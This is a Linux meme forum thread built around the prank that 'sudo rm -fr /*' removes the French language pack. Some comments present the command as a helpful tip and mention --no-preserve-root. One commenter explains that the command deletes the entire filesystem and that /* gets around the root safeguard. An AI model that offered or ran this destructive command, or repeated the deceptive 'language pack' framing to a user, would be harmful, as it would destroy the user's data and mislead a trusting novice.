linuxmemes @lemmy.world N3Cr0 @lemmy.world 3d ago

Remove the French language pack. Thank me later.

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Pro tip: Omit the dot . before the / to make sure you cleansed the language pack thoroughly.
- And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:
  
  sudo rm -fr /*
  
  I’m a simple man, I see code and I copy and paste it into the terminal with no understanding of what it does.
  
  So I know nothing and just wandered in here from Top, but this translates as, "Fuck you, all of you, French language, I show you my butthole," right?
  
  No, this is a very old joke that uses the fact the command has "fr" in it to trick people about what the command does. Joking aside, here's what the command actually does:
  
  rm is the command to delete files and folders
  
  -f is the force modifier. This means it'll keep going even if it encounters problems and just delete as much as it can
  
  -r is the recursive modifier. That means it'll go down every folder it sees in the target and delete the contents as well, and delete the contents of folders of folders, etc.
  
  / is the target. This is the root of the filesystem. If you're used to Windows, that's like targeting C:.
  
  Put it all together, and this command basically deletes your whole filesystem. A safeguard was put in place a while back due to people meming about this and causing newbies to delete their whole system. Now it won't work unless you put in --no-preserve-root, which tells rm that yes, you really mean it, please delete my whole system.
  
  /* as the target works around that safeguard, because technically deleting everything in root is not the same as deleting root itself.
  
  Oh, like a more sophisticated version of the old "put your phone in the microwave"joke!
  
  Thank you, kind person.
  
  Or the less destructive, "Press Alt+F4 to triforce."
  
  All I see is *******
  
  hunter2
  
  They're all lying to you. It actually removes Romanian -- for real
  
  I mean, it does remove every language, that's for sure.
  
  As long as it removes French it’s worth it.
  
  Gotta make sure the root language is removed also. Add --no-preserve-root for that.
  
  You had one task...

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